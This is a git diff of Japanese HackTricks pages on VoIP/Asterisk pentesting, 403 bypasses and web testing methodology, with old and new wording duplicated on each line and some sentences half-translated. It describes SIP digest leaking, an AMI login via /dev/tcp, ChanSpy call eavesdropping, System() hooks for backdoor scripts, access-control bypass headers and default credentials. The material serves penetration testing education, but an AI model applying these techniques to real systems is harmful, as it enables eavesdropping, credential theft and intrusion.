前の例では、ユーザーに**1を押して**部門に電話するように、**2を押して**別の部門に電話するように、または知っている場合は**完全な内線番号**を入力するように求められます。\ 前の例では、ユーザーに**1を押して**部門に電話するように、**2を押して**別の部門に電話するように、または知っている場合は**完全な内線番号**を入力するように求められます。\
脆弱性は、指定された**内線番号の長さがチェックされない**ため、ユーザーが5秒のタイムアウトを持つ完全な番号を入力すると、それが呼び出される可能性があることです。 脆弱性は、指定された**内線番号の長さがチェックされない**という事実であり、ユーザーは5秒のタイムアウトを持つ完全な番号を入力でき、それが呼び出される可能性があります。
### 内線番号インジェクション ### 内線番号インジェクション
@ -464,11 +464,11 @@ exten => 101,1,Dial(SIP/101)
```scss ```scss
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123) exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
``` ```
したがって、**`101`**および**`123123123`**への呼び出しが送信され、最初の呼び出しのみが確立されます... しかし、攻撃者が**マッチをバイパスする拡張子**を使用し、存在しない場合、**希望の番号にのみ呼び出しを注入する**ことができます したがって、**`101`**および**`123123123`**への呼び出しが送信され、最初のものだけが接続されます... しかし、攻撃者が**マッチをバイパスする拡張子**を使用し、存在しない場合、**希望する番号にのみ呼び出しを注入することができます**
## SIPDigestLeak 脆弱性 ## SIPDigestLeak 脆弱性
SIP Digest Leakは、多くのSIP電話、ハードウェアおよびソフトウェアのIP電話、電話アダプタVoIPからアナログに影響を与える脆弱性です。この脆弱性により、**ダイジェスト認証応答の漏洩**が可能になり、これはパスワードから計算されます。**オフラインパスワード攻撃が可能になり**、チャレンジ応答に基づいてほとんどのパスワードを回復できます。 SIP Digest Leakは、多くのSIP電話、ハードウェアおよびソフトウェアのIP電話、電話アダプタVoIPからアナログを含む脆弱性です。この脆弱性は、**パスワードから計算されるDigest認証応答の漏洩**を可能にします。**オフラインパスワード攻撃が可能**であり、チャレンジ応答に基づいてほとんどのパスワードを回復できます。
**[脆弱性シナリオはこちらから**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf): **[脆弱性シナリオはこちらから**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf):
@ -476,11 +476,11 @@ SIP Digest Leakは、多くのSIP電話、ハードウェアおよびソフト
2. 攻撃者はIP電話にINVITEを送信します 2. 攻撃者はIP電話にINVITEを送信します
3. 被害者の電話が鳴り、誰かが電話を取り、すぐに切ります(相手が応答しないため) 3. 被害者の電話が鳴り、誰かが電話を取り、すぐに切ります(相手が応答しないため)
4. 電話が切られると、**被害者の電話は攻撃者にBYEを送信します** 4. 電話が切られると、**被害者の電話は攻撃者にBYEを送信します**
5. **攻撃者は407応答を発行し**、**認証を要求**、認証チャレンジを発行します 5. **攻撃者は407応答を発行し**、**認証を要求**、認証チャレンジを発行します
6. **被害者の電話は2回目のBYEで認証チャレンジに対する応答を提供します** 6. **被害者の電話は2回目のBYEで認証チャレンジに対する応答を提供します**
7. **攻撃者はローカルマシン(または分散ネットワークなど)でチャレンジ応答に対してブルートフォース攻撃を実行し**、パスワードを推測できます 7. **攻撃者はローカルマシン(または分散ネットワークなど)でチャレンジ応答に対してブルートフォース攻撃を実行し**、パスワードを推測できます
* **SIPPTS漏洩**は[**sippts**](https://github.com/Pepelux/sippts)**から:** SIPPTS漏洩は、多くのSIP電話に影響を与えるSIP Digest Leak脆弱性を悪用します。出力はSipCrack形式で保存でき、SIPPTS dcrackまたはSipCrackツールを使用してブルートフォース攻撃を行うことができます。 * **SIPPTS漏洩**は[**sippts**](https://github.com/Pepelux/sippts)**から:** SIPPTS漏洩は、多くのSIP電話に影響を与えるSIP Digest Leak脆弱性を悪用します。出力はSipCrack形式で保存でき、SIPPTS dcrackまたはSipCrackツールを使用してブルートフォース攻撃できます。
```bash ```bash
sippts leak -i 10.10.0.10 sippts leak -i 10.10.0.10
@ -516,7 +516,7 @@ read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate write = system,call,agent,user,config,command,reporting,originate
``` ```
* 前のプロファイルは **任意のIPアドレスが接続することを許可しています**(パスワードが知られている場合)。 * 前のプロファイルは **任意のIPアドレスが接続することを許可しています**(パスワードが知られている場合)。
* 前述のように **通話を組織するためには**、**読み取り権限は必要なく**、**書き込み**の **発信** のみが必要です。 * 前述のように **通話を組織するためには**、**読み取り権限は必要なく**、**書き込み**の **発信**のみが必要です。
これらの権限があれば、パスワードを知っている任意のIPが接続し、過剰な情報を抽出することができます。 これらの権限があれば、パスワードを知っている任意のIPが接続し、過剰な情報を抽出することができます。
@ -533,7 +533,7 @@ exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecr
Asteriskでは、**`ChanSpy`** コマンドを使用して、**監視する内線**(またはすべての内線)を指定することで、行われている会話を聞くことができます。このコマンドは内線に割り当てる必要があります。 Asteriskでは、**`ChanSpy`** コマンドを使用して、**監視する内線**(またはすべての内線)を指定することで、行われている会話を聞くことができます。このコマンドは内線に割り当てる必要があります。
例えば、**`exten => 333,1,ChanSpy('all',qb)`** は、**内線 333** に**電話**をかけると、**`all`** の内線を**監視**し、新しい会話が始まるときに**聞き始め****`b`**)、静かなモード(**`q`**)で行います。これは、私たちがその会話に干渉したくないからです。**`*`** を押すか、内線番号を入力することで、行われている会話から別の会話に移動することができます。 例えば、**`exten => 333,1,ChanSpy('all',qb)`** は、**内線 333** に**電話**をかけると、**`all`** の内線を**監視**し、新しい会話が始まるときに**聞き始め****`b`**)、静かなモード(**`q`**)で聞くことを示します。私たちはそれに対してインタラクトしたくないからです。**`*`** を押すか、内線番号を入力することで、行われている会話から別の会話に移動することができます。
特定の内線のみを監視するために、**`ExtenSpy`** を使用することも可能です。 特定の内線のみを監視するために、**`ExtenSpy`** を使用することも可能です。
@ -555,13 +555,13 @@ exten => h,1,System(/tmp/leak_conv.sh &)
``` ```
### RTCPBleed 脆弱性 ### RTCPBleed 脆弱性
**RTCPBleed** は、Asterisk ベースの VoIP サーバーに影響を与える重大なセキュリティ問題です2017年に公開。この脆弱性により、VoIP 会話を運ぶ **RTP (リアルタイムプロトコル) トラフィック****インターネット上の誰でも傍受し、リダイレクトできる** ようになります。これは、RTP トラフィックが NAT (ネットワークアドレス変換) ファイアウォールを通過する際に認証をバイパスするために発生します。 **RTCPBleed** は、Asterisk ベースの VoIP サーバーに影響を与える重大なセキュリティ問題です2017年に公開。この脆弱性により、VoIP 会話を運ぶ **RTP (リアルタイムプロトコル) トラフィック****インターネット上の誰でも傍受され、リダイレクトされる** 可能性があります。これは、RTP トラフィックが NAT (ネットワークアドレス変換) ファイアウォールを通過する際に認証をバイパスするために発生します。
RTP プロキシは、2 つ以上の当事者間で RTP ストリームをプロキシすることによって RTC システムに影響を与える **NAT の制限** に対処しようとします。NAT が存在する場合、RTP プロキシソフトウェアは、シグナリングSIPを通じて取得した RTP IP およびポート情報に依存できないことがよくあります。したがって、いくつかの RTP プロキシは、そのような **IP およびポートのタプルを自動的に学習する** メカニズムを実装しています。これは、受信した RTP トラフィックを検査し、受信した RTP トラフィックのソース IP およびポートを応答すべきものとしてマークすることによって行われます。このメカニズムは「学習モード」と呼ばれることがあり、**いかなる種類の認証も使用しません**。したがって、**攻撃者** は **RTP トラフィックを RTP プロキシに送信し、進行中の RTP ストリームの発信者または受信者向けに送信されるべきプロキシされた RTP トラフィックを受け取る** ことができます。この脆弱性を RTP Bleed と呼ぶのは、攻撃者が正当なユーザーに送信されるべき RTP メディアストリームを受け取ることを可能にするからです。 RTP プロキシは、2 つ以上の当事者間で RTP ストリームをプロキシすることによって RTC システムに影響を与える **NAT の制限** に対処しようとします。NAT が存在する場合、RTP プロキシソフトウェアは、シグナリングSIPを通じて取得した RTP IP およびポート情報に依存できないことがよくあります。したがって、いくつかの RTP プロキシは、そのような **IP およびポートのタプルを自動的に学習する** メカニズムを実装しています。これは、受信した RTP トラフィックを検査し、受信した RTP トラフィックのソース IP およびポートを応答すべきものとしてマークすることによって行われます。このメカニズムは「学習モード」と呼ばれることがあり、**いかなる種類の認証も使用しません**。したがって、**攻撃者** は **RTP トラフィックを RTP プロキシに送信し、進行中の RTP ストリームの発信者または受信者向けに送信されるべきプロキシされた RTP トラフィックを受け取る** ことができます。この脆弱性を RTP Bleed と呼ぶのは、攻撃者が正当なユーザーに送信されるべき RTP メディアストリームを受け取ることを可能にするからです。
RTP プロキシおよび RTP スタックのもう一つの興味深い挙動は、**RTP Bleed に対して脆弱でない場合でも**、**任意のソースからの RTP パケットを受け入れ、転送し、または処理する** ことがあることです。したがって、攻撃者は、正当なメディアの代わりに自分のメディアを注入できる RTP パケットを送信することができます。この攻撃を RTP 注入と呼ぶのは、既存の RTP ストリームに不正な RTP パケットを注入できるからです。この脆弱性は、RTP プロキシとエンドポイントの両方に存在する可能性があります。 RTP プロキシおよび RTP スタックのもう一つの興味深い挙動は、**RTP Bleed に対して脆弱でない場合でも**、**任意のソースからの RTP パケットを受け入れ、転送および/または処理する** ことです。したがって、攻撃者は正当なメディアの代わりに自分のメディアを注入することを可能にする RTP パケットを送信できます。この攻撃を RTP 注入と呼ぶのは、既存の RTP ストリームに不正な RTP パケットを注入することを可能にするからです。この脆弱性は、RTP プロキシとエンドポイントの両方で見つかる可能性があります。
Asterisk と FreePBX は、伝統的に **`NAT=yes` 設定** を使用しており、これにより RTP トラフィックが認証をバイパスし、通話で音声がないか、一方向の音声になる可能性があります。 Asterisk と FreePBX は、RTP トラフィックが認証をバイパスできる **`NAT=yes` 設定** を伝統的に使用しており、これにより通話で音声がないか、一方向の音声になる可能性があります。
詳細については [https://www.rtpbleed.com/](https://www.rtpbleed.com/) を確認してください。 詳細については [https://www.rtpbleed.com/](https://www.rtpbleed.com/) を確認してください。
@ -590,14 +590,14 @@ same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
There is command called **`Shell`** that could be used **instead of `System`** to execute system commands if necessary. There is command called **`Shell`** that could be used **instead of `System`** to execute system commands if necessary.
{% hint style="warning" %} {% hint style="warning" %}
If the server is **特定の文字の使用を禁止している** in the **`System`** command (like in Elastix), check if the web server allows to **システム内にファイルを作成する方法** (like in Elastix or trixbox), and use it to **バックドアスクリプトを作成** and then use **`System`** to **実行** that **スクリプト**. If the server is **特定の文字の使用を禁止している** in the **`System`** command (like in Elastix), check if the web server allows to **システム内にファイルを作成する** (like in Elastix or trixbox), and use it to **バックドアスクリプトを作成** and then use **`System`** to **実行** that **スクリプト**.
{% endhint %} {% endhint %}
#### Interesting local files and permissions #### Interesting local files and permissions
* **`sip.conf`** -> Contains the password of SIP users. * **`sip.conf`** -> Contains the password of SIP users.
* If the **Asteriskサーバーがrootとして実行されている**, you could compromise root * If the **Asterisk server is running as root**, you could compromise root
* **mysql root user** might **パスワードがないかもしれない**. * **mysql root user** might **パスワードがない**.
* this could be used to create a new mysql user as backdoor * this could be used to create a new mysql user as backdoor
* **`FreePBX`** * **`FreePBX`**
* **`amportal.conf`** -> Contains the password of the web panel administrator (FreePBX) * **`amportal.conf`** -> Contains the password of the web panel administrator (FreePBX)
@ -605,7 +605,7 @@ If the server is **特定の文字の使用を禁止している** in the **`Sys
* this could be used to create a new mysql user as backdoor * this could be used to create a new mysql user as backdoor
* **`Elastix`** * **`Elastix`**
* **`Elastix.conf`** -> Contains several passwords in clear text like mysql root pass, IMAPd pass, web admin pass * **`Elastix.conf`** -> Contains several passwords in clear text like mysql root pass, IMAPd pass, web admin pass
* **いくつかのフォルダ** will belong to the compromised asterisk user (if not running as root). This user can read the previous files and also controls the configuration, so he could make Asterisk to load other backdoored binaries when executed. * **Several folders** will belong to the compromised asterisk user (if not running as root). This user can read the previous files and also controls the configuration, so he could make Asterisk to load other backdoored binaries when executed.
### RTP Injection ### RTP Injection
@ -630,7 +630,7 @@ There are several ways to try to achieve DoS in VoIP servers.
### OS Vulnerabilities ### OS Vulnerabilities
The easiest way to install a software such as Asterisk is to download an **OS distribution** that has it already installed, such as: **FreePBX, Elastix, Trixbox**... The problem with those is that once it's working sysadmins might **再度更新しないかもしれない** and **脆弱性** are going to be discovered with time. The easiest way to install a software such as Asterisk is to download an **OS distribution** that has it already installed, such as: **FreePBX, Elastix, Trixbox**... The problem with those is that once it's working sysadmins might **再度更新しない** and **脆弱性** are going to be discovered with time.
## References ## References
@ -647,7 +647,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Get a hacker's perspective on your web apps, network, and cloud **Get a hacker's perspective on your web apps, network, and cloud**
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports. **Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.

View file

@ -10,14 +10,14 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### ハッカーの視点であなたのウェブアプリ、ネットワーク、クラウドを評価する **あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告に変えます。 **実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告に変えます。
@ -29,7 +29,7 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
* レスポンスヘッダーを確認してください。情報が提供されるかもしれません。例えば、**HEAD**に対する**200レスポンス**が`Content-Length: 55`の場合、**HEAD動詞が情報にアクセスできる**ことを意味します。しかし、その情報を抽出する方法を見つける必要があります。 * レスポンスヘッダーを確認してください。情報が提供されるかもしれません。例えば、**HEAD**に対する**200レスポンス**が`Content-Length: 55`の場合、**HEAD動詞が情報にアクセスできる**ことを意味します。しかし、その情報を抽出する方法を見つける必要があります。
* `X-HTTP-Method-Override: PUT`のようなHTTPヘッダーを使用すると、使用される動詞を上書きできます。 * `X-HTTP-Method-Override: PUT`のようなHTTPヘッダーを使用すると、使用される動詞を上書きできます。
* **`TRACE`**動詞を使用し、運が良ければ、レスポンスに中間プロキシによって追加された**ヘッダー**も表示されるかもしれません。 * **`TRACE`**動詞を使用し、運が良ければ、レスポンスに**中間プロキシによって追加されたヘッダー**が表示されるかもしれません。
## HTTPヘッダーのファジング ## HTTPヘッダーのファジング
@ -51,7 +51,7 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
* `X-ProxyUser-Ip: 127.0.0.1` * `X-ProxyUser-Ip: 127.0.0.1`
* `Host: localhost` * `Host: localhost`
もし**パスが保護されている**場合、これらの他のヘッダーを使用してパス保護をバイパスしてみてください: **パスが保護されている**場合、これらの他のヘッダーを使用してパス保護をバイパスしてみてください:
* `X-Original-URL: /admin/console` * `X-Original-URL: /admin/console`
* `X-Rewrite-URL: /admin/console` * `X-Rewrite-URL: /admin/console`
@ -64,8 +64,8 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
もし_/path_がブロックされている場合 もし_/path_がブロックされている場合
* _**/**_**%2e/pathを使用してみてくださいアクセスがプロキシによってブロックされている場合、これが保護をバイパスする可能性があります)。また、**\_\*\* /%252e\*\*/pathダブルURLエンコードを試してください。** * _**/**_**%2e/pathを使用してみてくださいアクセスがプロキシによってブロックされている場合、これで保護をバイパスできるかもしれません)。また、**\_\*\* /%252e\*\*/pathダブルURLエンコードを試してください。**
* **Unicodeバイパスを試してください**_/**%ef%bc%8f**path_URLエンコードされた文字は「/」のようなものです)ので、再エンコードされると_//path_になり、すでに_/path_の名前チェックをバイパスしているかもしれません。 * **Unicodeバイパスを試してください**_/**%ef%bc%8f**path_URLエンコードされた文字は「/」のようなものです)ので、再エンコードると_//path_になり、すでに_/path_の名前チェックをバイパスしているかもしれません。
* **他のパスバイパス** * **他のパスバイパス**
* site.com/secret > HTTP 403 Forbidden * site.com/secret > HTTP 403 Forbidden
* site.com/SECRET > HTTP 200 OK * site.com/SECRET > HTTP 200 OK
@ -93,7 +93,7 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
## **パラメータ操作** ## **パラメータ操作**
* **パラメータ値を変更する****`id=123` --> `id=124`** * **param値を変更する****`id=123` --> `id=124`**
* URLに追加のパラメータを追加する`?`**`id=124` —-> `id=124&isAdmin=true`** * URLに追加のパラメータを追加する`?`**`id=124` —-> `id=124&isAdmin=true`**
* パラメータを削除する * パラメータを削除する
* パラメータの順序を変更する * パラメータの順序を変更する
@ -102,18 +102,18 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
## **プロトコルバージョン** ## **プロトコルバージョン**
HTTP/1.1を使用している場合、**1.0を使用してみてください**、または**2.0をサポートしているかテストしてみてください**。 HTTP/1.1を使用している場合、**1.0を使用してみてください**、または**2.0をサポートしているかテストしてみてください**。
## **その他のバイパス** ## **その他のバイパス**
* ドメインの**IP**または**CNAME**を取得し、**直接連絡してみてください**。 * ドメインの**IP**または**CNAME**を取得し、**直接連絡してみてください**。
* 一般的なGETリクエストを送信して**サーバーに負荷をかけてみてください**[この人がFacebookで成功した](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125))。 * **サーバーにストレスをかける**ために一般的なGETリクエストを送信してみてください[この人はFacebookで成功しました](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125))。
* **プロトコルを変更する**httpからhttpsへ、またはhttpsからhttpへ * **プロトコルを変更する**httpからhttpsへ、またはhttpsからhttpへ
* [**https://archive.org/web/**](https://archive.org/web/)にアクセスし、過去にそのファイルが**全世界からアクセス可能だったかどうかを確認してください**。 * [**https://archive.org/web/**](https://archive.org/web/)にアクセスし、過去にそのファイルが**全世界からアクセス可能だったかどうかを確認してください**。
## **ブルートフォース** ## **ブルートフォース**
* **パスワードを推測する**:以下の一般的な資格情報をテストします。被害者について何か知っていますかそれともCTFチャレンジ名 * **パスワードを推測する**:以下の一般的な資格情報をテストしてください。被害者について何か知っていますかそれともCTFチャレンジ名ですか
* [**ブルートフォース**](../../generic-methodologies-and-resources/brute-force.md#http-brute)**基本、ダイジェスト、NTLM認証を試してください。** * [**ブルートフォース**](../../generic-methodologies-and-resources/brute-force.md#http-brute)**基本、ダイジェスト、NTLM認証を試してください。**
{% code title="一般的な資格情報" %} {% code title="一般的な資格情報" %}
@ -140,9 +140,9 @@ guest guest
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### ハッカーの視点であなたのウェブアプリ、ネットワーク、クラウドを評価 **あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 **実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集するために、20以上のカスタムツールを使用、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -156,7 +156,7 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### ハッカーの視点からあなたのウェブアプリ、ネットワーク、クラウドを見つめる **あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 **実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
@ -25,7 +25,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
## 基本情報 ## 基本情報
ウェブサービスは最も**一般的で広範なサービス**であり、多くの**異なる種類の脆弱性**が存在します。 ウェブサービスは最も**一般的で広範なサービス**であり、多くの**異なるタイプの脆弱性**が存在します。
**デフォルトポート:** 80 (HTTP), 443(HTTPS) **デフォルトポート:** 80 (HTTP), 443(HTTPS)
```bash ```bash
@ -46,20 +46,20 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
## Methodology summary ## Methodology summary
> この方法論では、あなたが攻撃するドメイン(またはサブドメイン)を想定します。そのため、発見された各ドメイン、サブドメイン、または範囲内の不明なウェブサーバーを持つIPにこの方法論を適用する必要があります。 > この方法論では、あなたがドメイン(またはサブドメイン)を攻撃することを前提としています。そのため、発見された各ドメイン、サブドメイン、または範囲内の不明なウェブサーバーを持つIPにこの方法論を適用する必要があります。
* [ ] **ウェブサーバー**によって使用されている**技術**を**特定**することから始めます。技術を特定できた場合、テストの残りの部分で考慮すべき**トリック**を探します。 * [ ] **ウェブサーバー**使用されている**技術**を**特定**することから始めます。技術を成功裏に特定できた場合、テストの残りの部分で考慮すべき**トリック**を探します。
* [ ] 技術のバージョンに**既知の脆弱性**はありますか? * [ ] 技術のバージョンに**既知の脆弱性**はありますか?
* [ ] **よく知られた技術**を使用していますか?より多くの情報を抽出するための**便利なトリック**はありますか? * [ ] **よく知られた技術**を使用していますか?より多くの情報を抽出するための**便利なトリック**はありますか?
* [ ] 実行するための**専門スキャナー**はありますか例えば、wpscan * [ ] 実行するための**専門スキャナー**はありますか例えば、wpscan
* [ ] **一般的なスキャナー**を起動します。何かを見つけるか、興味深い情報を見つけるかはわかりません。 * [ ] **一般的なスキャナー**を起動します。何かを見つけるか、興味深い情報を見つけるかはわかりません。
* [ ] **初期チェック**から始めます:**robots**、**sitemap**、**404**エラー、**SSL/TLSスキャン**HTTPSの場合 * [ ] **初期チェック**から始めます:**robots**、**sitemap**、**404**エラー、**SSL/TLSスキャン**HTTPSの場合
* [ ] ウェブページの**スパイダー**を開始します:すべての可能な**ファイル、フォルダー**、および**使用されているパラメータ**を**見つける**時間です。また、**特別な発見**を確認します。 * [ ] ウェブページの**スパイダー**を開始します:すべての可能な**ファイル、フォルダー**、および**使用されているパラメータ**を**見つける**時間です。また、**特別な発見**を確認します。
* [ ] _ブルートフォースやスパイダー中に新しいディレクトリが発見された場合は、必ずスパイダーする必要があります。_ * [ ] _ブルートフォースやスパイダー中に新しいディレクトリが発見された場合は、必ずスパイダーを実行する必要があります。_
* [ ] **ディレクトリブルートフォース**:発見されたすべてのフォルダーをブルートフォースして、新しい**ファイル**や**ディレクトリ**を探します。 * [ ] **ディレクトリブルートフォース**:発見されたすべてのフォルダーをブルートフォースして、新しい**ファイル**や**ディレクトリ**を探します。
* [ ] _ブルートフォースやスパイダー中に新しいディレクトリが発見された場合は、必ずブルートフォースする必要があります。_ * [ ] _ブルートフォースやスパイダー中に新しいディレクトリが発見された場合は、必ずブルートフォースを実行する必要があります。_
* [ ] **バックアップチェック**:一般的なバックアップ拡張子を追加して、**発見されたファイル**の**バックアップ**を見つけられるかテストします。 * [ ] **バックアップチェック**:一般的なバックアップ拡張子を追加して、**発見されたファイル**の**バックアップ**を見つけられるかテストします。
* [ ] **ブルートフォースパラメータ****隠れたパラメータ**を**見つける**ようにします。 * [ ] **ブルートフォースパラメータ****隠れたパラメータ**を**見つける**ことを試みます。
* [ ] **ユーザー入力**を受け入れるすべての可能な**エンドポイント**を**特定**したら、それに関連するすべての種類の**脆弱性**を確認します。 * [ ] **ユーザー入力**を受け入れるすべての可能な**エンドポイント**を**特定**したら、それに関連するすべての種類の**脆弱性**を確認します。
* [ ] [このチェックリストに従ってください](../../pentesting-web/web-vulnerabilities-methodology.md) * [ ] [このチェックリストに従ってください](../../pentesting-web/web-vulnerabilities-methodology.md)
@ -124,14 +124,14 @@ _**同じドメイン**が異なる**ポート**、**フォルダ**、および*
### ソースコードレビュー ### ソースコードレビュー
アプリケーションの**ソースコード**が**github**で利用可能な場合、アプリケーションの**ホワイトボックステスト**を自分で実施することに加えて、現在の**ブラックボックステスト**に役立つ**情報**がいくつかあります: アプリケーションの**ソースコード**が**github**で利用可能な場合、アプリケーションの**ホワイトボックステスト**を自分で行うことに加えて、現在の**ブラックボックステスト**に役立つ**情報**がいくつかあります:
* **変更履歴やReadmeやバージョン**ファイル、または**バージョン情報にアクセス可能な**ものはありますか? * **変更履歴やReadmeやバージョン**ファイル、または**バージョン情報にアクセス可能な**ものはありますか?
* **認証情報**はどのように、どこに保存されていますか?認証情報(ユーザー名やパスワード)が含まれ(アクセス可能な?)**ファイル**はありますか? * **認証情報**はどのように、どこに保存されていますか? **認証情報**(ユーザー名やパスワード)が含まれ(アクセス可能な?)**ファイル**はありますか?
* **パスワード**は**プレーンテキスト**、**暗号化**されていますか、それともどの**ハッシュアルゴリズム**が使用されていますか? * **パスワード**は**プレーンテキスト**、**暗号化**されていますか、それともどの**ハッシュアルゴリズム**が使用されていますか?
* 何かを暗号化するために**マスターキー**を使用していますか?どの**アルゴリズム**が使用されていますか? * 何かを暗号化するために**マスターキー**を使用していますか? どの**アルゴリズム**が使用されていますか?
* 脆弱性を悪用して**これらのファイルにアクセス**できますか? * いくつかの脆弱性を悪用して**これらのファイルにアクセス**できますか?
* **github**に**興味深い情報**(解決済みおよび未解決の)**問題**はありますか?または**コミット履歴**に(古いコミット内に含まれるかもしれない**パスワード** * **github**に**興味深い情報**(解決済みおよび未解決の)**問題**はありますか? または**コミット履歴**に(古いコミット内に**入力されたパスワード**があるかもしれません
{% content-ref url="code-review-tools.md" %} {% content-ref url="code-review-tools.md" %}
[code-review-tools.md](code-review-tools.md) [code-review-tools.md](code-review-tools.md)
@ -201,7 +201,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs
### **SSL/TLSの脆弱性** ### **SSL/TLSの脆弱性**
* アプリケーションがどの部分でも**HTTPSの使用を強制していない**場合、**MitM攻撃に対して脆弱**です。 * アプリケーションがどの部分でも**HTTPSの使用を強制していない**場合、**MitMに対して脆弱**です。
* アプリケーションが**HTTPを使用して機密データパスワードを送信している**場合、これは高い脆弱性です。 * アプリケーションが**HTTPを使用して機密データパスワードを送信している**場合、これは高い脆弱性です。
